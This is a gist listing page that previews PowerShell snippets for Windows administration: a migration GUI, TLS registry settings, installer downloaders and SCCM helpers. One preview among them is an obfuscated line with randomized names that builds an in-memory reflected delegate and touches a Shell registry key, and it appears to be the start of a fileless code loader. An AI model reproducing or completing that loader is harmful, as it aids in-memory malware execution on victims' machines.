This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Load Assembly and Library | |
| Add-Type -AssemblyName PresentationFramework | |
| #XAML form designed using Vistual Studio | |
| #[xml]$Form = Get-Content -Path "$PSScriptRoot\USMTGUI.xaml" | |
| [xml]$Form = @" | |
| <Window | |
| xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" | |
| Title="Migration Assistant by Nick Rodriguez" Height="550" Width="1000" MinWidth="1000" MinHeight="550"> | |
| <Grid> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $TLS1dot1 = 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client' | |
| $TLS1dot2 = 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client' | |
| $MicrosoftWinHttp = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp' | |
| $Wow6432Node = 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp' | |
| If (!(test-path $TLS1dot1)) | |
| { | |
| New-Item $TLS1dot1 -Force | New-ItemProperty -Name DisabledByDefault -Value 0 -Force | |
| } | |
| else |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 2 | |
| function Get-AdobeFlashMsi { | |
| [CmdletBinding()] | |
| param ( | |
| [string] | |
| $Destination = $(Join-Path -Path $env:USERPROFILE -ChildPath 'Downloads' ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Configure Domain to scrape | |
| $Domain = "https://notepad-plus-plus.org" | |
| $AppendToDomain = "/download" | |
| # build URL to scan | |
| $SiteToScan = $Domain + $AppendToDomain | |
| # Scan URL to download file | |
| $url32 = ((Invoke-WebRequest -uri $SiteToScan).links | Where innerHTML -like “*Notepad++ Installer 32-bit*”).href | |
| $url64 = ((Invoke-WebRequest -uri $SiteToScan).links | Where innerHTML -like “*Notepad++ Installer 64-bit*”).href |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Get-PSADTAppVersion { | |
| <# | |
| .SYNOPSIS | |
| Gets the $appversion varible for a given PSADT package | |
| .DESCRIPTION | |
| Gets the $appversion varible for a given PSADT package | |
| Queries the Deploy-Application.ps1 file for "appversion" | |
| Takes the first string returned. I don't care about other occerences in the file | |
| Converts it to a string |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $SEf8caWj = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Shell";$lZ7VgLztH = "{4FF23B38-C5A1-5CBE-F25D458E1F8C5642}";function ogbehJFrvi{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$jbvI6kAQ = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$TnlpqF = [Void])$SDaRf4 = [AppDomain]::CurrentDomain;$gV2cj6vD = New-Object System.Reflection.AssemblyName('ReflectedDelegate');$koQPMj5 = $SDaRf4.DefineDynamicAssembly($gV2cj6vD, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$mQQYfW = $koQPMj5.DefineDynamicModule('InMemoryModule', $false);$OSepm3U = $mQQYfW.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$GetNMD0W = $OSepm3U.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jbvI6kAQ);$GetNMD0W.SetImplementationFlags('Runtime, Managed');$KBBPUUP = $OSepm3U.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $TnlpqF, $jbvI6kAQ);$KBBPUUP.SetImplementationFlags('Runtime, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?> | |
| <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> | |
| <assemblyIdentity version="1.0.0.0" | |
| processorArchitecture="X86" | |
| name="Example_App.exe" | |
| type="win32"/> | |
| <description>elevate execution level</description> | |
| <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> | |
| <security> | |
| <requestedPrivileges> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Schedule-SCCMPackageDeployment | |
| { | |
| <# | |
| .SYNOPSIS | |
| .DESCRIPTION | |
| requires \\spivsccm01\packages mounted as p Drive | |
| .PARAMETER App |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ############################ | |
| ### CDOLLA CDOLLA CDOLLA ### | |
| ### CDOLLA CDOLLA CDOLLA ### | |
| ### CDOLLA CDOLLA CDOLLA ### | |
| ### CDOLLA CDOLLA CDOLLA ### | |
| ############################ | |
| ### | |
| ### |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Select-Nth { | |
| <# | |
| .SYNOPSIS | |
| Seletc the Nth element in an array | |
| .DESCRIPTION | |
| Selects the Nth Element in an array. Like the 3rd, 5th, 98th, etc | |
| .PARAMETER N | |
| The Nth element you want to select |